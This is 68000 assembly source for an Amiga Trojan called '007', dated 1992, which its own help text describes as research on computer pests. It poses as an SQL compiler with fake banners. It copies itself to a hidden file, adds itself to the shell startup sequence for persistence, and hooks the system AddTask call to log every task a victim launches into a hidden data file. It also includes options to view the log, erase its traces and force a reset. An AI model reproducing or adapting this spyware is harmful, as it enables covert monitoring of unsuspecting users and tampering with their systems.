

;----------------------------------------------------------------
;
;			Programme '007'
;
;			par Th MAQUET 
;----------------------------------------------------------------

debut_007:
	movem.l a0-a6/d0-d7,-(a7)
        subq.l #1,d0            
	lea Arguments(pc),a1
        tst.l d0                
	beq .LPas_Arg
	move.l d0,d1
Charge_Param:
        move.b (a0)+,(a1)+      
        dbf d0,charge_param     
        clr.b -(a1)
	move.l d1,d2
   	bsr .LOpenDosLib
	bsr Open_ConHandle
	move.l d2,d0             
        lea Arguments(pc),a1    ;arg
        move.b (a1)+,d0         
Trouve_options:
        cmpi.b #$3f,d0          ;"?"
	beq Txt_Aide
	cmpi.b #1,d0		;<01>
	beq Option_1
        cmpi.b #$2d,d0          ;"-"
	bne fin
	move.b (a1)+,d0
	cmpi.b #"c",d0
	beq Option_c
	cmpi.b #"d",d0
	beq Option_d
	cmpi.b #"e",d0
	beq Reset
	cmpi.b #"f",d0
	beq Option_f
	cmpi.b #"!",d0
	beq Ecris_Reel
	bra fin

Ecris_Reel:
	move.l #txt18,d2
        move.l #txt19-txt18,d3
        bsr .L write_ConHandle       
	bra Fin      

Txt_Aide:
	move.l #txt16,d2
        move.l #txt17-txt16,d3
        bsr .L write_ConHandle       
	bra Fin      

;
; Option 1 : Installation de l'espion
;

Option_1:
	bsr Set_Date		; Flag "FF" + date du jour
	bsr Ecris_Date
	moveq #0,d1
	moveq #0,d2
	move.l $4.w,a6
	move -280(a6),d1
	move 10(a6),d2
	cmp d1,d2
	bgt Fin
	bsr Pgm007_AddTask1
	bra Fin      


;
; Option f : Visualisation du fichier de données
;

Option_f:
	move.l #50000,d0
	bsr AllocMem
	move.l d0,a5
	beq Fin
	bsr Ouvre_data_New
	bne.s Option1_f
	bsr Ouvre_Data_Old
Option1_f:
	move.l #txt20,d2
        move.l #txt21-txt20,d3
        bsr .LWrite_Conhandle       
	move.l #50000,d3
	bsr Read_Data1
	move.l d0,d4
	beq Fin_Option_f	
	subq.l #1,d4
	move.l a5,a0
Option2_f:
	move.b (a0)+,d0
	tst.b d0
	beq.L Option5_f
	cmpi.b #$ff,d0
	bne.s Option3_f 	
	
	moveq #0,d0
	move.b (a0)+,d0
	bsr Convertir_bin_dec
	lea Txt222,a1
	move d0,(a1)
	moveq #0,d0
	move.b (a0)+,d0
	bsr Convertir_bin_dec
	lea Txt221,a1
	move d0,(a1)
	moveq #0,d0
	move.b (a0)+,d0
	bsr Convertir_bin_dec
	lea Txt223,a1
	move d0,(a1)
	moveq #0,d0
	move.b (a0)+,d0
	bsr Convertir_bin_dec
	lea Txt224,a1
	move d0,(a1)
	move.l a0,a3
	move.l #txt22,d2
        move.l #txt23-txt22,d3
	bsr Write_ConHandle
	subq.l #4,d4
	move.l a3,a0
	bra Option5_f
Option3_f:
	moveq #0,d3
	lea TaskName,a1
	move.b -(a0),(a1)
Option4_f:
	addq.l #1,d3
	move.b (a0)+,(a1)+
	tst.b (a0)
	bne.s Option4_f
	move.b #$a,(a1)+
	clr.b (a1)+
	sub.l d3,d4
	addq.l #2,d3
	move.l a0,a3
	move.l #TaskName,d2
      	bsr Write_ConHandle
	move.l a3,a0
	addq.l #1,a0
Option5_f:
	tst.l d4
	blt.s Fin_Option_f
	dbf d4,option2_f
Fin_Option_f:
	bsr Close_Data
	move.l a5,a1
	move.l #50000,d0
	bsr .LFreeMem
	bra fin

;
;	Reset !!
;

reset:
        btst #6,$bfe001
        beq .SDo_reset
        btst #10,$dff016
        bne .Sreset      
	bra fin
Do_reset:
	move.l $4.w,a6
        move.w #$4000,$dff09a
        add.b #$01,294(a6)
	lea $dff000,a5
	move.l #"BOUM",50(a6)
	cmpi.w #$24,20(a6)
	blt.s PasROM201
	jmp -726(a6)
PasROM201:
	lea SuiteReset1(pc),a5
	jsr -30(a6)
SuiteReset1:
	lea $0,a0
	suba.l -20(a0),a0
	move.l 4(a0),a0
	subq.l #2,a0
	reset
	jmp (a0)

;
; Option d : Les fichiers programmes et de données
; 		      sont effacées
;

Option_d:
	move.l #5000,d0
	bsr AllocMem
	move.l d0,a5	
	bsr Ouvre_Startup
	beq Fin_008
	bsr Read_Startup

	move.l d0,d5
	move.l d0,d4
	subq.l #1,d4
	move.l a5,a1
	lea Spy_Filename,a0
	addq.l #2,a0
	move.b (a0),d0

Option1_d:
	cmpi.b (a1)+,d0
	bne.s Option2_d
	move.b #";",-(a1)
	move.b #";",(a1)+
	
	move.b #"0",(a1)+
	move.b #"0",(a1)+
	move.b #"7",(a1)+
	move.b #10,(a1)+
	move.l Startup_Handle(pc),d1;Startup-Sequence
	move.l #-1,d3		;Offset_Start
	bsr Seek		;Positionner
	move.l d5,d3
	bsr Write_Startup
Option2_d:
	dbf d4,Option1_d 
	bsr Ferme_Startup
	move.l #Spy_Filename,d1
	bsr Delete
	move.l #Data_Filename,d1
	bsr Delete
	bra Fin_008

;
; Option c : recupération du fichier de données
;

Option_c:
	move.l #5000,d0
	bsr AllocMem
	move.l d0,a5	
	bsr Ouvre_Data_Old	
	beq fin_008
	bsr Read_Data
	move.l d0,d3
	bsr Close_Data
        lea Data_Filename(pc),a0 
	addq.l #2,a0
        move.l a0,d1
	move.l #1006,d2
    	bsr Ouvre_Data1
	beq fin_008
	bsr Write_Data
	bsr Close_Data
	move.l #txt14,d2
        move.l #txt15-txt14,d3
        bsr .L write_ConHandle       
	bra Fin_008

;
; Pas d'argument alors on installe les fichiers adéquats
; 	et on détourne la startup-sequence.
;

Pas_Arg:               
   	bsr .LOpenDosLib
	bsr Open_ConHandle
	move.l #txt10,d2
        move.l #txt11-txt10,d3
        bsr .L write_ConHandle       

	move.l #5000,d0
	bsr AllocMem
	move.l d0,a5		;buffer pour startup-sequence
	bsr Ouvre_Sql	
	beq fin_007

	bsr Read_Sql
	move.l d0,d3
	bsr Ferme_Sql

	bsr Ouvre_Spy
	beq fin_007

	bsr Write_Spy
	bsr Ferme_Spy


	bsr Ouvre_Startup	
	beq fin_007
	bsr Read_Startup	
	move.l a5,a4
	add.l d0,a4
	move.l d0,d3
	addq.l #5,d3		;taille
	lea Spy_Filename,a0
	addq.l #2,a0
	move.b (a0)+,(a4)+
	move.b (a0)+,(a4)+
	move.b #" ",(a4)+
	move.b #1,(a4)+
	move.b #$a,(a4)+	
	bsr Ferme_Startup
	bsr Ouvre_Startup
	beq fin_007
	bsr Write_Startup
	bsr Ferme_Startup
	move.l #Sql_filename,d1
	bsr Delete

Fin_007:
	move.l #txt12,d2
        move.l #txt13-txt12,d3
        bsr .LWrite_Conhandle       
Fin_008:
	move.l a5,a1
	move.l #5000,d0
	bsr .LFreeMem

Fin:
	movem.l (a7)+,a0-a6/d0-d7
	moveq #0,d0
	rts
;----------------------------------------------------------------
;
;                       Traitements
;
;----------------------------------------------------------------


Ouvre_Startup:
	move.l #1005,d2			
Ouvre_Startup2:
        lea Startup_Sequence(pc),a0 
        move.l a0,d1            
        bsr .LOpen              
        lea Startup_Handle(pc),a0	
        move.l d0,(a0)          
        rts
Read_Startup:
	move.l Startup_Handle(pc),d1
	move.l a5,d2
	move.l #5000,d3	
	bsr.L read
	rts
Write_Startup:
        move.l Startup_Handle(pc),d1
	move.l a5,d2
	bsr.L write
	rts
Ferme_Startup:
        move.l Startup_Handle,d1
	bsr Close     	
	rts
Ouvre_Spy:
        lea Spy_Filename(pc),a0 
        move.l a0,d1            
	move.l #1006,d2			
        bsr .LOpen              
        lea Spy_Handle(pc),a0	
        move.l d0,(a0)          
        rts
Ferme_Spy:
        move.l Spy_Handle,d1
	bsr Close     	
	rts
Write_Spy:
        move.l Spy_Handle(pc),d1
	move.l a5,d2
	bsr.L write
	rts
Ouvre_Sql:
        lea Sql_Filename(pc),a0 
        move.l a0,d1            
	move.l #1005,d2			
        bsr .LOpen              
        lea Sql_Handle(pc),a0	
        move.l d0,(a0)          
        rts
Read_Sql:
	move.l Sql_Handle(pc),d1
	move.l a5,d2
	move.l #5000,d3	
	bsr.L read
	rts
Ferme_Sql:
        move.l Sql_Handle,d1
	bsr Close     	
	rts
Ouvre_Data_New:
        lea Data_Filename(pc),a0 
	addq.l #2,a0
        move.l a0,d1
    	bsr Ouvre_Data
	rts
Read_Data:
	move.l #5000,d3	
Read_Data1:
	move.l Data_Handle(pc),d1
	move.l a5,d2
	bsr.L read
	rts
Write_Data:
        move.l Data_Handle(pc),d1
	move.l a5,d2
	bsr.L write
	rts
Close_Data:
        move.l Data_Handle(pc),d1
	bsr Close     	
	rts
Ecris_Date:
	bsr Ouvre_Data_Old	;Ouvre le fichier de données en 'ancien'
	bne Ecris_Date1		;Réussi !
        lea Data_Filename(pc),a0 
        move.l a0,d1            
	move.l #1006,d2		;
	bsr Ouvre_Data1		;Ouvre le fichier de données en 'nouveau'
	beq Fin_Ecris_Date	;Raté !
Ecris_Date1:
	bsr Seek_End_Data
	lea Date_Buff(pc),a5	;Ptr sur date
	move.l #5,d3		;5 octets
	bsr Write_Data		;Ecrire date
	bsr Close_Data		;Fermer le fichier
Fin_Ecris_Date:
	rts
Read:
        move.l DosBase(pc),a6
        jsr -42(a6)
        rts
Open_ConHandle:  	
	move.l DosBase,a6
        jsr -60(a6)
      	lea ConHandle(pc),a0
	move.l d0,(a0)
	rts
Write_ConHandle: 
        move.l ConHandle(pc),d1	 	
	bsr Write
	rts
OpenDosLib:
        lea doslib(pc),a1 
        bsr .SOpenLib
        lea DosBase(pc),a0  
        move.l d0,(a0)      
        rts
OpenLib:
        move.l $4.w,a6
        moveq #0,d0
        jsr -408(a6)
        rts
CloseLib:
        move.l $4.w,a6
        moveq #0,d0
        jsr -414(a6)
        rts
Delete:
	move.l DosBase,a6
	jsr -72(a6)
	rts
AllocMem:
	move.l $4.w,a6
	move.l #$10002,d1
	jsr -198(a6)
	rts	
FreeMem:
	move.l $4.w,a6
	jsr -210(a6)
	rts
Set_Date:
	move.l DosBase,a6
	lea Date_Buff(pc),a0
	move.l a0,d1
	jsr -192(a6)
	lea Date_Buff,a0
	move.l (a0),d1
	move.l 4(a0),d6
	divu #60,d6	;nbr heure
	swap d6
	move d6,d7	;nbr minute
	clr d6
	swap d6
        addi.l #28431,d1 
        lsl.l #2,d1
        move.l d1,d2
        subq.l #1,d2
        divu #1461,d2
        andi.l #$ffff,d2
        addq.l #3,d1
        move.l d2,d4
        mulu #1461,d4
        sub.l d4,d1
        lsr.l #2,d1
        move.l d1,d4
        lsl.l #2,d1
        add.l d4,d1
        move.l d1,d0
        subq.l #3,d0
        divu #153,d0
        andi.l #$ffff,d0
        addq.l #2,d1
        move.l d0,d4
        mulu #153,d4
        sub.l d4,d1
        divu #5,d1
        andi.l #$ffff,d1
        cmpi.l #10,d0
        bge.s Calcul_date1
        addq.l #3,d0
        bra.s Calcul_date2
Calcul_date1:
	subi.l #9,d0
        add.l #1,d2
Calcul_date2:
	lea date_buff,a0
	move.b #-1,(a0)+	;"FF"
	move.b d0,(a0)+		;Mois
	move.b d1,(a0)+		;Jour
	move.b d6,(a0)+		;Heure
	move.b d7,(a0)+		;Minute
	rts

Convertir_bin_dec:
	divu #10,d0
	swap d0
	asl.w #8,d0
	ror.l #8,d0
	add #$3030,d0
	rts	

	
;----------------------------------------------------------------
;
;                       Données numériques
;
;----------------------------------------------------------------

ConHandle:
	dc.l 0		;Handle de la fenêtre écran 
Startup_Handle:		
	dc.l 0		;Handle de la startup-sequence
Spy_Handle:
	dc.l 0
Sql_Handle:
	dc.l 0
Date_Buff:
	dc.l 0		;jour
	dc.l 0		;second
	dc.l 0		;micro sec
Arguments:
	blk.b 80,0	;Arguments du programme

;----------------------------------------------------------------
;
;                       Données alphanumériques
;
;----------------------------------------------------------------

DosLib:
	dc.b "dos.library",0
Startup_Sequence:
	dc.b "S:Shell-Startup",0
Sql_Filename:
	dc.b "Sql",0
Spy_Filename:
	dc.b "C:çç",0,0	;Pgm executable "C:<128><129>"
Txt10:
	dc.b $a
	dc.b " Data Base Structured Query Language -- © Thibaut Maquet 1992.",$a,0
	dc.b " Ok.",$a,0
Txt11:
Txt12:
	dc.b $a
	dc.b " sql.library introuvable.",$a
	dc.b " Vous n'etes pas un utilisateur enregistré : Sql a été détruit !",$a,0
Txt13:
Txt14:
	dc.b $a
	dc.b " Serveur SQL fermé.",$a,0
Txt15:
Txt16:
	dc.b $a
	dc.b " ***  Compilateur SQL.  Version 1.0 © Thibaut Maquet - 1992",$a
	dc.b $a
	dc.b "         SQL est un langage d'interrogation de base de données.",$a
 	dc.b "         Il vous est ainsi possible de stocker aisément des données. ",$a
	dc.b "         Reportez vous au manuel du SQL pour plus de renseignements.",$a,$a          
Txt17:
Txt18:
	dc.b $a
	dc.b "  Bienvenu dans le monde du '007'. Ce programme est un cheval de Troie ",$a
	dc.b "  destiné à enregistrer toutes les tâches générées par une victime.",$a
	dc.b "  Ce programme a été écrit dans le cadre d'un travail de recherche sur",$a 
	dc.b "  les fléaux informatiques. L'auteur dégage toute responsabilité quand",$a
	dc.b "  à l'utilisation de ce programme.",$a,$a
	dc.b "  Usage : Sql -option",$a
	dc.b "    -c  récuperation du fichier de données dans le répertoire courant.",$a
	dc.b "    -d  effacement de tous les fichiers espions.",$a
	dc.b "    -e  reset.",$a
	dc.b "    -f  visualisation du fichier de données.",$a
	dc.b "    -!  ce menu.",$a,0,0

Txt19:
Txt20:
	dc.b "  Liste des tâches enregistrées par '007'.",$a
	dc.b "  ----------------------------------------",$a,$a,0,0
Txt21:
Txt22:
	dc.b "  Le "
Txt221:
	dc.w 0	
	dc.b "/",0
Txt222:
	dc.w 0
	dc.b " à  "
Txt223:
	dc.w 0	
	dc.b "H",0
Txt224:
	dc.w 0
	dc.b $a
	dc.b "  -----------------",$a,0
Txt23:



;----------------------------------------------------------------
;
; Programme résident déviant l'AddTask à son profit
; et recupère le nom de chaque nouvelle tâche
;
;----------------------------------------------------------------

even

Pgm007_AddTask1:
	move.l #Pgm007_AddTask2-Pgm007_AddTask1,d0
	bsr AllocMem
	move.l d0,a5
	lea Pgm007_AddTask1,a0
	move.l a5,a1
	move.l #Pgm007_AddTask2-Pgm007_AddTask1,d0
	jsr -630(a6)
	move.l #Install_AddTask-Pgm007_AddTask1,a0
	add.l a5,a0
	move.l a0,-(a7)
	rts	
Install_AddTask:
	lea Old_AddTask(pc),a1
	move.l -280(a6),(a1)
	jsr -120(a6)
	pea New_AddTask(pc)
	move.l (a7)+,-280(a6)
	jsr -126(a6)
	rts

New_AddTask:
	movem.l a0-a6/d0-d7,-(a7)
	movem.l (a7),a0-a6/d0-d7
	move.l 10(a1),a2
	move.l (a2),d0
	lea TaskName(pc),a0
	cmpa.l (a0),d0
	beq.s Fin_New_AddTask
New_AddTask1:
	move.b (a2)+,(a0)+
	tst.b (a2)	  
	bne.s New_AddTask1
	clr.b (a0)+
	bsr Pgm_Process
Fin_New_AddTask:
	movem.l (a7)+,a0-a6/d0-d7
	move.l Old_AddTask(pc),-(a7)
	rts

Pgm_Process:
        lea Data_Handle(pc),a0	
        clr.l (a0)          
	bsr Ouvre_Data_Old
	beq Fin_PgmProcess
	bsr Seek_End_Data
	lea TaskName(pc),a0
	moveq #0,d3
Pgm_Process1:
	addq.l #1,d3
	tst.b (a0)+
	bne.s Pgm_Process1
	move.l Data_Handle(pc),d1
	lea TaskName(pc),a0
	move.l a0,d2
	bsr Write
	move.l Data_Handle(pc),d1
	bsr Close
Fin_PgmProcess:
	rts
Ouvre_Data_Old:
        lea Data_Filename(pc),a0 
        move.l a0,d1            
	bsr Ouvre_Data
	rts
Ouvre_Data:
	move.l #1005,d2			
Ouvre_Data1:
        bsr .LOpen              
        lea Data_Handle(pc),a0	
        move.l d0,(a0)          
        rts
Seek_End_Data:
	move.l Data_Handle(pc),d1;Fichier de données
	move.l #1,d3		;Offset_End
	bsr Seek		;Positionner
	rts
Open:
        move.l DosBase(pc),a6
        jsr -30(a6)
        rts
Write:
        move.l DosBase(pc),a6
        jsr -48(a6)
        rts
Close:
        move.l DosBase(pc),a6
        jsr -36(a6)
        rts
Seek:
	move.l DosBase(pc),a6
	moveq #0,d2
	jsr -66(a6)
	rts
Old_AddTask:
	dc.l 0
Data_Handle:
	dc.l 0		;Handle du fichier de données
DosBase:
	dc.l 0		;Base de la dos.library
TaskName:
	blk.b 80,0
Data_Filename:
	dc.b "L:©®",0,0;,130,131,0	;Fichier de données "S:<130><131>"
Pgm007_AddTask2:
